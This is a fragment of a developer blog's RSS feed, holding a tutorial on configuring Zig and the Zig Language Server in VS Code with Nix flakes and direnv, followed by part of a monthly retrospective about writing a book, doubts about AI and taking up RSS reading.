&lt;p>The most popular method for managing Zig versions seems to be the &lt;a href="https://www.zvm.app/">Zig Version Manager&lt;/a>, which I haven&amp;rsquo;t tried, so I&amp;rsquo;m not sure how it plays with VS Code.&lt;/p>
&lt;p>I personally manage Zig versions per-project using &lt;a href="https://mtlynch.io/notes/nix-dev-environment/">Nix development shells&lt;/a>, so that&amp;rsquo;s what I&amp;rsquo;m sharing below.&lt;/p>
&lt;h2 id="the-problem-vs-code-cant-find-zls">The problem: VS Code can&amp;rsquo;t find ZLS&lt;/h2>
&lt;p>When I open a Zig project, VS Code helpfully prompts me to enable the Zig Language Server, but when I say yes, I get this error message:&lt;/p>













 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 614px">



 &lt;a href="https://mtlynch.io/notes/zig-vscode-nix/zls-fail.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 614px, 98vw"
 srcset='https://mtlynch.io/notes/zig-vscode-nix/zls-fail_hu_f93f56a44b771d34.webp 300w, https://mtlynch.io/notes/zig-vscode-nix/zls-fail_hu_76d860b7bf10dd13.webp 600w, https://mtlynch.io/notes/zig-vscode-nix/zls-fail.webp 612w'
 src="https://mtlynch.io/notes/zig-vscode-nix/zls-fail.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>ZLS install fails&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>The problem is that I start VS Code before I launch my Nix dev environment, so the Zig VS Code plugin doesn&amp;rsquo;t know where to find my local Zig compiler or the Zig Language Server binary, &lt;code>zls&lt;/code>.&lt;/p>
&lt;h2 id="the-solution-use-the-direnv-vs-code-extension">The solution: Use the direnv VS Code extension&lt;/h2>
&lt;div class="notice notice-info">
 &lt;strong>Update&lt;/strong> (2025-02-14): There&amp;rsquo;s &lt;a href="#update-the-simpler-non-nix-solution">a simpler solution&lt;/a> that doesn&amp;rsquo;t rely on Nix.
&lt;/div>

&lt;p>I initially came up with a wacky solution where my Nix flake &lt;a href="https://codeberg.org/mtlynch/zig-vscode-nix-example/src/branch/03-dynamic-paths/flake.nix#L49-L69">automatically rewrote my VS Code settings&lt;/a> every time I entered the dev shell. That way, VS Code would always have the latest path to the Zig and ZLS binaries.&lt;/p>
&lt;p>Then, I read &lt;a href="https://fasterthanli.me/series/building-a-rust-service-with-nix/part-10#setting-up-direnv-in-vscode">a fasterthanlime post&lt;/a> and found out there&amp;rsquo;s a simple solution.&lt;/p>
&lt;p>There&amp;rsquo;s a &lt;a href="https://marketplace.visualstudio.com/items?itemName=mkhl.direnv">direnv VS Code extension&lt;/a> that effortlessly syncs Zig paths with VS code. It also means that this solution works with VS Code using Remote SSH development.&lt;/p>
&lt;h2 id="my-complete-working-solution">My complete working solution&lt;/h2>
&lt;p>I&amp;rsquo;m including an explanation of my solution, but if you want to just use it without the tour, I created a template that&amp;rsquo;s easy to copy &lt;a href="#copying-my-template">below&lt;/a>.&lt;/p>
&lt;h3 id="flakenix">flake.nix&lt;/h3>
&lt;p>My Nix flake is doing the heavy lifting here:&lt;/p>




 &lt;div class="inline-file">
 &lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-nix" data-lang="nix">&lt;span style="display:flex;">&lt;span>{
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> description = &lt;span style="color:#ed9d13">&amp;#34;Zig development environment&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> inputs = {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> nixpkgs.url = &lt;span style="color:#ed9d13">&amp;#34;github:NixOS/nixpkgs/nixos-24.11&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> flake-utils.url = &lt;span style="color:#ed9d13">&amp;#34;github:numtide/flake-utils&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> zig-overlay.url = &lt;span style="color:#ed9d13">&amp;#34;github:mitchellh/zig-overlay&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#999;font-style:italic"># Keep in sync with zigVersion below.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> zls-overlay.url = &lt;span style="color:#ed9d13">&amp;#34;github:zigtools/zls/0.13.0&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> };
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> outputs = {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> self,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> nixpkgs,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> flake-utils,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> } @ inputs:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> flake-utils.lib.eachSystem (&lt;span style="color:#24909d">builtins&lt;/span>.attrNames inputs.zig-overlay.packages) (system: &lt;span style="color:#6ab825;font-weight:bold">let&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> pkgs = &lt;span style="color:#6ab825;font-weight:bold">import&lt;/span> nixpkgs {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">inherit&lt;/span> system;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> overlays = [
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> (final: prev: {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> zigpkgs = inputs.zig-overlay.packages.&lt;span style="color:#ed9d13">${&lt;/span>prev.system&lt;span style="color:#ed9d13">}&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> })
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ];
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> };
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> zigVersion = &lt;span style="color:#ed9d13">&amp;#34;0.13.0&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> zig = pkgs.zigpkgs.&lt;span style="color:#ed9d13">${&lt;/span>zigVersion&lt;span style="color:#ed9d13">}&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> zls = inputs.zls-overlay.packages.&lt;span style="color:#ed9d13">${&lt;/span>system&lt;span style="color:#ed9d13">}&lt;/span>.zls.overrideAttrs (old: {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> nativeBuildInputs = [zig];
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> });
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">in&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> devShells.default = pkgs.mkShell {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> packages = &lt;span style="color:#6ab825;font-weight:bold">with&lt;/span> pkgs; [
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> zig
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> zls
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ];
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> shellHook = &lt;span style="color:#ed9d13">&amp;#39;&amp;#39;
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> echo &amp;#39;zls&amp;#39; &amp;#34;$(zls --version)&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> echo &amp;#39;zig&amp;#39; &amp;#34;$(zig version)&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> &amp;#39;&amp;#39;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> };
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> });
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>
 &lt;a href="https://mtlynch.io/notes/zig-vscode-nix/flake.nix" download class="download-raw-button">download flake.nix&lt;/a>
 &lt;/div>


&lt;p>The Nix flake creates a dev shell that includes the Zig compiler and the Zig Language Server (ZLS).&lt;/p>
&lt;p>I set it to Zig &lt;code>0.13.0&lt;/code>, but you can change it to any tagged relase. To use the pre-release development version of zig, change both instances of &lt;code>0.13.0&lt;/code> to &lt;code>master&lt;/code>.&lt;/p>
&lt;p>I tried several ways to eliminate the repetition of &lt;code>0.13.0&lt;/code> so that there could be a single definition, but my Nix language skills were too weak to figure out a way to do it. If anyone has a solution, please let me know.&lt;/p>
&lt;h3 id="envrc">.envrc&lt;/h3>
&lt;p>My solution relies on &lt;a href="https://direnv.net/">direnv&lt;/a> to start the Nix dev shell whenever I&amp;rsquo;m in the project directory. The definition is simple:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>use_flake
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="vscodeextensionsjson">.vscode/extensions.json&lt;/h3>
&lt;p>To integrate VS Code with Zig, I need two VS Code extensions:&lt;/p>




 &lt;div class="inline-file">
 &lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-json" data-lang="json">&lt;span style="display:flex;">&lt;span>{
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">&amp;#34;recommendations&amp;#34;&lt;/span>: [&lt;span style="color:#ed9d13">&amp;#34;mkhl.direnv&amp;#34;&lt;/span>, &lt;span style="color:#ed9d13">&amp;#34;ziglang.vscode-zig&amp;#34;&lt;/span>]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>
 &lt;a href="https://mtlynch.io/notes/zig-vscode-nix/extensions.json" download class="download-raw-button">download extensions.json&lt;/a>
 &lt;/div>


&lt;p>The first is the official &lt;a href="https://marketplace.visualstudio.com/items?itemName=ziglang.vscode-zig">Zig VS Code extension&lt;/a>.&lt;/p>
&lt;p>The second, less-obvious one is the &lt;a href="https://marketplace.visualstudio.com/items?itemName=mkhl.direnv">direnv VS Code extension&lt;/a>, which lets VS Code see paths within my Nix dev shell.&lt;/p>
&lt;h3 id="vscodesettingsjson">.vscode/settings.json&lt;/h3>
&lt;p>Finally, I need just one setting to tell VS Code to use the Zig Language Server:&lt;/p>




 &lt;div class="inline-file">
 &lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-json" data-lang="json">&lt;span style="display:flex;">&lt;span>{
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">&amp;#34;zig.zls.enabled&amp;#34;&lt;/span>: &lt;span style="color:#ed9d13">&amp;#34;on&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>
 &lt;a href="https://mtlynch.io/notes/zig-vscode-nix/settings.json" download class="download-raw-button">download settings.json&lt;/a>
 &lt;/div>


&lt;h2 id="copying-my-template">Copying my template&lt;/h2>
&lt;p>I created a Nix flake template to make it easy to replicate my setup.&lt;/p>
&lt;h3 id="requirements">Requirements&lt;/h3>
&lt;ul>
&lt;li>Nix (I&amp;rsquo;m using 2.24.12)
&lt;ul>
&lt;li>with flakes enabled&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="https://direnv.net/">direnv&lt;/a> (I&amp;rsquo;m using 2.35.0)&lt;/li>
&lt;li>VS Code (I&amp;rsquo;m using 1.96.4)&lt;/li>
&lt;/ul>
&lt;h3 id="a-zig-vs-code-nix-flake-template">A Zig VS Code Nix flake template&lt;/h3>
&lt;p>I created a &lt;a href="https://codeberg.org/mtlynch/zig-vscode-flake">Nix flake template&lt;/a> that captures my Zig + VS Code solution. You can use it by running the following command:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>nix flake init &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --template git+https://codeberg.org/mtlynch/zig-vscode-flake.git
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>After calling &lt;code>nix flake init&lt;/code>, run &lt;code>direnv allow&lt;/code>, which should show zig and zls available:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ direnv allow
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>direnv: nix-direnv: Renewed cache
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Alejandra 3.0.0
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>zls 0.13.0
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>zig 0.13.0
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Finally, in VS Code, go to &amp;ldquo;Extensions: Show Recommended Extensions&amp;rdquo; and install the recommended extensions.&lt;/p>
&lt;p>At this point, you can run &lt;code>zig init&lt;/code> to create a new project, and you should find that the Zig VS Code extension works properly with Zig.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 700px">



 &lt;a href="https://mtlynch.io/notes/zig-vscode-nix/vscode-zig-working.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 700px, 98vw"
 srcset='https://mtlynch.io/notes/zig-vscode-nix/vscode-zig-working_hu_87a74283a295b8.webp 300w, https://mtlynch.io/notes/zig-vscode-nix/vscode-zig-working_hu_62c13e1adad6cd12.webp 600w, https://mtlynch.io/notes/zig-vscode-nix/vscode-zig-working_hu_4fb7af5cfebdaa32.webp 800w, https://mtlynch.io/notes/zig-vscode-nix/vscode-zig-working.webp 846w'
 src="https://mtlynch.io/notes/zig-vscode-nix/vscode-zig-working.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>If everything works, you should see language overlays in &lt;code>src/main.zig&lt;/code>, and you should be able to jump to Zig library definitions.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h3 id="changing-zig-versions">Changing Zig versions&lt;/h3>
&lt;p>My flake is set to Zig 0.13.0, the latest release as of this writing.&lt;/p>
&lt;p>If you want to use a different tagged release, replace &lt;code>0.13.0&lt;/code> with a different version:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">EXISTING_ZIG_VERSION&lt;/span>=&lt;span style="color:#ed9d13">&amp;#39;0.13.0&amp;#39;&lt;/span> &lt;span style="color:#999;font-style:italic"># Set to whatever the version in the flake.nix is.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">NEW_ZIG_VERSION&lt;/span>=&lt;span style="color:#ed9d13">&amp;#39;0.12.0&amp;#39;&lt;/span> &lt;span style="color:#999;font-style:italic"># Set to your desired Zig version.&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>To use the bleeding edge, pre-release version of Zig, set the version to &lt;code>master&lt;/code>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">NEW_ZIG_VERSION&lt;/span>=&lt;span style="color:#ed9d13">&amp;#39;master&amp;#39;&lt;/span> &lt;span style="color:#999;font-style:italic"># Set if you want bleeding edge Zig.&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Once you&amp;rsquo;ve updated the Zig version in the &lt;code>flake.nix&lt;/code> file, run these commands to apply the changes:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>sed &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --in-place &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> &lt;span style="color:#ed9d13">&amp;#34;s/&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">EXISTING_ZIG_VERSION&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">/&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">NEW_ZIG_VERSION&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">/g&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> flake.nix &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> nix flake update zig zls-overlay &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> nix develop
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>You may have to restart (not just reload) VS Code for the changes to take effect.&lt;/p>
&lt;h2 id="update-the-simpler-non-nix-solution">Update: The simpler, non-Nix solution&lt;/h2>
&lt;p>One of the Zig VS Code extension developers &lt;a href="https://ziggit.dev/t/my-zig-vs-code-setup-for-multiple-zig-versions/8548/4?u=mtlynch">replied to this post&lt;/a> and said that I should be able to manage Zig versions with just the extension itself.&lt;/p>
&lt;p>I didn&amp;rsquo;t realize that the Zig VS Code extension could manage Zig installs, so I tried that. To install Zig through the VS Code extension, go to the VS Code command pallette and select:&lt;/p>
&lt;ul>
&lt;li>Zig Setup: Install Zig&lt;/li>
&lt;/ul>













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 700px">



 &lt;a href="https://mtlynch.io/notes/zig-vscode-nix/zig-setup.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 700px, 98vw"
 srcset='https://mtlynch.io/notes/zig-vscode-nix/zig-setup_hu_e645613d1b189f92.webp 300w, https://mtlynch.io/notes/zig-vscode-nix/zig-setup_hu_5c7de8602a1823e9.webp 600w, https://mtlynch.io/notes/zig-vscode-nix/zig-setup_hu_895e119a1ee9c5fa.webp 800w, https://mtlynch.io/notes/zig-vscode-nix/zig-setup.webp 1009w'
 src="https://mtlynch.io/notes/zig-vscode-nix/zig-setup.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>Then, choose the Zig version you want, and it should work. I had to &lt;a href="https://github.com/ziglang/vscode-zig/issues/398">set my &lt;code>settings.json&lt;/code> manually&lt;/a> and reload VS Code for it to take effect.&lt;/p>
&lt;p>I like Nix dev shells, so I&amp;rsquo;m going to keep using mine, but if you just want a simple setup, you&amp;rsquo;re probably better off letting the Zig VS Code extension manage your Zig install.&lt;/p></content:encoded></item><item><title>Refactoring English: Month 2</title><link>https://mtlynch.io/retrospectives/2025/02/</link><pubDate>Mon, 10 Feb 2025 00:00:00 +0000</pubDate><guid>https://mtlynch.io/retrospectives/2025/02/</guid><description>&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>I&amp;rsquo;m having doubts about sitting out the AI revolution.&lt;/li>
&lt;li>I should prove to myself that customers are willing to buy my book before investing more time into it.&lt;/li>
&lt;li>I&amp;rsquo;m probably the last person on the planet to discover that RSS is a great way to read blogs.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p></description><content:encoded>&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>I&amp;rsquo;m having doubts about sitting out the AI revolution.&lt;/li>
&lt;li>I should prove to myself that customers are willing to buy my book before investing more time into it.&lt;/li>
&lt;li>I&amp;rsquo;m probably the last person on the planet to discover that RSS is a great way to read blogs.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="publish-my-2024-annual-review-blog-post">Publish my 2024 &lt;a href="https://mtlynch.io/tags/annual-review/">annual review&lt;/a> blog post&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: I published &lt;a href="https://mtlynch.io/bootstrapped-founder-year-7/">My Seventh Year as a Bootstrapped Founder&lt;/a>&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>I was happy with how this came out. I had a hard time figuring out what to include because the year felt fragmented from different major events that I&amp;rsquo;d already written about. I felt like the result was a good summary of the year.&lt;/p>
&lt;p>It &lt;a href="https://hnrankings.info/42932492/">briefly reached the #1 spot&lt;/a> on Hacker News, but they suddenly kicked it down to #63, and I&amp;rsquo;m not sure why.&lt;/p>
&lt;h3 id="finish-another-chapter-of-my-book">Finish another chapter of my book&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Published &lt;a href="https://refactoringenglish.com/chapters/passive-voice-considered-harmful/">&amp;ldquo;Passive Voice Considered Harmful&amp;rdquo;&lt;/a> and an accompanying &lt;a href="https://refactoringenglish.com/exercises/recognize-passive-voice/">interactive exercise&lt;/a>.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>I got a bit more done on this than I expected, as I didn&amp;rsquo;t plan to include the quiz. I don&amp;rsquo;t think the quiz is amazing, but it&amp;rsquo;s a fun way to combine text content with something more interactive.&lt;/p>
&lt;h3 id="revise-my-tutorials-chapter-based-on-reader-feedback">Revise my tutorials chapter based on reader feedback&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Added a new section, &lt;a href="https://refactoringenglish.com/chapters/rules-for-software-tutorials/#use-unambiguous-example-values">&amp;ldquo;Use unambiguous example values.&amp;rdquo;&lt;/a>&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>I made some line-level fixes based on reader suggestions, but the biggest revision was adding a new section. A few people had wished for guidance on using useful dummy data in examples, and I agreed that it belonged in the article.&lt;/p>
&lt;h2 id="is-it-stupid-to-write-a-book-during-an-ai-revolution">Is it stupid to write a book during an AI revolution?&lt;/h2>
&lt;p>It&amp;rsquo;s clear to me that AI is causing a revolution in software development.&lt;/p>
&lt;p>AI models now &lt;a href="https://mtlynch.io/notes/cline-is-mesmerizing/">operate at the level of a competent junior engineer&lt;/a>. At the pace they&amp;rsquo;re improving, AI will outperform even the best humans at most programming tasks within two years.&lt;/p>
&lt;p>I expect a lot of the software industry to restructure around AI. The closest parallel in my lifetime is the shift from desktop software to the Internet.&lt;/p>
&lt;p>I have no job and no company to run, so I have complete freedom to work on anything I want to take advantage of recent AI developments.&lt;/p>
&lt;p>And I&amp;rsquo;m writing a book that has nothing to do with AI&amp;hellip;&lt;/p>
&lt;p>I don&amp;rsquo;t want to just chase the newest, shiny thing, but I also feel like sitting out the AI revolution is like seeing the Internet happen in the late 90s and saying, &amp;ldquo;I think I want to publish software on a CD that customers order by mail.&amp;rdquo;&lt;/p>
&lt;p>The reasons I chose to focus on the book are still valid, but there&amp;rsquo;s a bigger opportunity cost than I expected when I was planning this six months ago.&lt;/p>
&lt;h2 id="is-there-even-a-market-for-this-book">Is there even a market for this book?&lt;/h2>
&lt;p>The other issue is that writing my book is a long commitment, and I don&amp;rsquo;t yet have confidence that people want to read it.&lt;/p>
&lt;p>The &lt;a href="https://refactoringenglish.com/chapters/rules-for-software-tutorials/">first chapter I released&lt;/a> got a positive reception, but that&amp;rsquo;s one of the fun, broad-appeal chapters. I fear that chapters like &amp;ldquo;Passive voice considered harmful,&amp;rdquo; are more of an &amp;ldquo;eat your vegetables&amp;rdquo; lesson. People might recognize it as beneficial, but it&amp;rsquo;s not fun to read. And my usual haunts like Hacker News or reddit wouldn&amp;rsquo;t showcase a post about the passive voice.&lt;/p>
&lt;p>The problem is that most of the chapters in my book are &amp;ldquo;eat your vegetables&amp;rdquo; chapters.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 650px">



 &lt;a href="https://mtlynch.io/retrospectives/2025/02/fun-chapters.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 650px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2025/02/fun-chapters_hu_98f699ed024f0769.webp 300w, https://mtlynch.io/retrospectives/2025/02/fun-chapters_hu_6634ad8103b14b1c.webp 600w, https://mtlynch.io/retrospectives/2025/02/fun-chapters_hu_313fba53702258af.webp 800w, https://mtlynch.io/retrospectives/2025/02/fun-chapters.webp 938w'
 src="https://mtlynch.io/retrospectives/2025/02/fun-chapters.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>I could restructure it so that I talk about a tip like &amp;ldquo;read your post aloud&amp;rdquo; as part of the blogging chapter, but it wouldn&amp;rsquo;t quite make sense because that applies to all kinds of writing, not just blog posts.&lt;/p>
&lt;p>But maybe I&amp;rsquo;m approaching it wrong. I don&amp;rsquo;t think people browsing the web want to read an article about the passive voice, but if they decided to read a book about effective writing, they&amp;rsquo;d probably read the passive voice chapter.&lt;/p>
&lt;p>I&amp;rsquo;d assumed that the samples I publish for free online would be word-for-word chapters from the book, but I don&amp;rsquo;t need to do that. I can adapt the content for the web however I want, so if I talk about reading your writing aloud as part of a sample chapter on blogging, that&amp;rsquo;s okay. In the actual book, I can structure it so that the reading aloud tip isn&amp;rsquo;t part of the blogging chapter.&lt;/p>
&lt;p>Still, I need to validate that there are customers for this book before I spend another few months on it. So, my plan is to focus on another fun, accessible chapter like, &amp;ldquo;Write blog posts that developers read,&amp;rdquo; and then start a Kickstarter for people to pre-order based on the initial three chapters. I&amp;rsquo;ll need to set some goal for what I think is a reasonable minimum of pre-orders to justify continuing to write.&lt;/p>
&lt;h2 id="late-to-the-game-rss-is-great">Late to the game: RSS is great&lt;/h2>
&lt;p>RSS has been around for 25 years, but I never got into reading articles via RSS.&lt;/p>
&lt;p>I tried Google Reader back in 2011, but I didn&amp;rsquo;t have a critical mass of interesting articles in my feed, so I just stopped checking and forgot about it.&lt;/p>
&lt;p>In the past few years, several things have increased my interest in RSS:&lt;/p>
&lt;ul>
&lt;li>The tech people I used to follow on Twitter have all fragmented to different spaces.&lt;/li>
&lt;li>I&amp;rsquo;ve become more aware of social media amplifying attention-grabbing posts over interesting technical posts.&lt;/li>
&lt;li>I switched to NixOS as my OS, which makes it easy to self-host &lt;a href="https://github.com/0x2E/fusion">a free, open-source RSS reader&lt;/a>.&lt;/li>
&lt;li>I realized I don&amp;rsquo;t like subscribing to blogs via email, as it clutters my inbox and makes me feel like I have to read when I&amp;rsquo;m not in a good reading mode.&lt;/li>
&lt;li>As AI slop takes over the web, I want to follow particular people that I like.&lt;/li>
&lt;/ul>
&lt;p>So, I installed &lt;a href="https://github.com/0x2E/fusion">the fusion RSS reader&lt;/a>, and I&amp;rsquo;ve found it to be one of my favorite ways to read new blog posts. Whenever I find a blog post on social media that I like, I skim their other posts. If they write about things I find interesting, I just add them to my feeds.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 650px">



 &lt;a href="https://mtlynch.io/retrospectives/2025/02/fusion.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 650px, 98vw"
